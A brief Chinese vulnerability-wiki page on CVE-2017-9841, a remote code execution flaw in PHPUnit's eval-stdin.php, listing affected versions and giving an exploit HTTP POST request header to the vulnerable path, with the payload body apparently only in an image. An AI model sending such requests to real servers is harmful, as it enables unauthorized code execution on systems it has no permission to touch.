Loading
0

CVE-2017-9841 PHPUnit eval-stdin.php 远程命令执行漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

漏洞影响

PHPUnit < 5.6.3

漏洞利用

发送以下数据包执行PHP代码:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 
Content-Length: 21
Accept-Encoding: gzip

Php-1.png

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库